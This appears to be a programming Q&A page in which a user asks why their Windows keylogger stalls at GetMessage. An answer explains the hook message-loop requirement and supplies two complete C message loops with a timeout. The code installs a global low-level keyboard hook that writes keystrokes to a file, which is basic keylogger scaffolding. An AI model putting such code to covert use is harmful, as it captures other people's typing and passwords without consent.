GetMessage function stuck (keyboard hook using WIN API)

181 views Asked by At

i've created this keylogger using win api.

int keylogger_main()
{
    char path[] = "D:\\winApiFiles\\key_logs.txt";
    // delete the previous file, always.
    DeleteFileA(path);

    MSG msg;
    HHOOK hHook = NULL;

    // starting time
    time_t start_time = time(NULL);
    
    // setting hook
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbHook, NULL, 0);
    if (hHook == NULL)
    {
        printf("HOOK FAILED");
    }

    while (GetMessage(NULL, NULL, 0, 0));

    printf("Key logs saved to: %s", path);
    return 0;
}

This is just the main. the kbHook LRESULT works fine. When I run it like this, it works and saves the key logs to the file. But I want the program to stop after a certain amount of time.

I tried using sleep and UnhookWindowsHookEx before the call to while:

hHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbHook, NULL, 0);
if (hHook == NULL)
{
    printf("HOOK FAILED");
}
Sleep(10000);
UnhookWindowsHookEx(hHook);

while (GetMessage(NULL, NULL, 0, 0));

But for some reason, the hook doesn't work until the GetMessage function is called. So because I unhook the hook before GetMessage is called, no key log file is created (I don't understand why). And when it is called, it is stuck. Because for some reason, no messages are available in the message queue.

If someone could explain to me what is happening, I'll be very greatful.

1

There are 1 answers

0
Remy Lebeau On

GetMessage() blocks the calling thread until a posted message is available in that thread's message queue, while dispatching synchronous window messages from other threads. Most SetWindowsHookEx() hooks use internal messages and thus require the installing thread to have an active message loop to dispatch hook events. This is even stated in the LowLevelKeyboardProc callback function documentation:

This hook is called in the context of the thread that installed it. The call is made by sending a message to the thread that installed the hook. Therefore, the thread that installed the hook must have a message loop.

To implement a timeout mechanism in a message loop, you can use a Waitable Timer in combination with MsgWaitForMultipleObjects(), eg:

int keylogger_main()
{
    char path[] = "D:\\winApiFiles\\key_logs.txt";

    // delete the previous file, always.
    DeleteFileA(path);
    
    // setting hook
    HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbHook, NULL, 0);
    if (hHook == NULL)
    {
        printf("HOOK FAILED");
        return -1;
    }

    HANDLE hTimer = CreateWaitableTimer(NULL, TRUE, NULL);
    if (hTimer == NULL)
    {
        printf("TIMER CREATE FAILED");
        UnhookWindowsHookEx(hHook);
        return -1;
    }

    LARGE_INTEGER liDueTime;
    liDueTime.QuadPart = -100000000LL; // 10 seconds

    if (!SetWaitableTimer(hTimer, &liDueTime, 0, NULL, NULL, FALSE))
    {
        printf("TIMER UPDATE FAILED");
        CloseHandle(hTimer);
        UnhookWindowsHookEx(hHook);
        return -1;
    }

    DWORD ret;  
    while ((ret = MsgWaitForMultipleObjects(1, &hTimer, FALSE, INFINITE, QS_ALLINPUT)) == (WAIT_OBJECT_0+1))
    {
        MSG msg;
        while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }

    int result;
    if (ret == WAIT_FAILED)
    {
        // the wait failed
        printf("MSG QUEUE FAILED");
        CancelWaitableTimer(hTimer);
        result = -1;
    }
    else
    {
        // must be WAIT_OBJECT_0 when the timer elapsed
        printf("TIMER ELAPSED");
        result = 0;
    }

    CloseHandle(hTimer);
    UnhookWindowsHookEx(hHook);

    printf("Key logs saved to: %s", path);
    return result;
}

Alternatively, you can just use the timeout parameter of MsgWaitForMulipleObjects() and not use a waitable timer at all, eg:

int keylogger_main()
{
    char path[] = "D:\\winApiFiles\\key_logs.txt";

    // delete the previous file, always.
    DeleteFileA(path);
    
    // setting hook
    HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbHook, NULL, 0);
    if (hHook == NULL)
    {
        printf("HOOK FAILED");
        return -1;
    }

    const DWORD totalTime = 10000; // 10 seconds
    const DWORD startTime = GetTickCount();
    DWORD remainingTime = totalTime, elapsedTime, ret;
    
    do
    {
        ret = MsgWaitForMultipleObjects(0, NULL, FALSE, remainingTime, QS_ALLINPUT);
        if (ret != WAIT_OBJECT_0) break;

        MSG msg;
        while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }

        elapsedTime = GetTickCount() - startTime;
        if (elapsedTime >= totalTime)
        {
            ret = WAIT_TIMEOUT;
            break;
        }

        remainingTime = totalTime - elapsedTime;
    }
    while (true);

    int result;
    if (ret == WAIT_FAILED)
    {
        // the wait failed
        printf("MSG QUEUE FAILED");
        result = -1;
    }
    else
    {
        // must be WAIT_TIMEOUT when the wait timed out
        printf("TIME ELAPSED");
        result = 0;
    }

    UnhookWindowsHookEx(hHook);

    printf("Key logs saved to: %s", path);
    return result;
}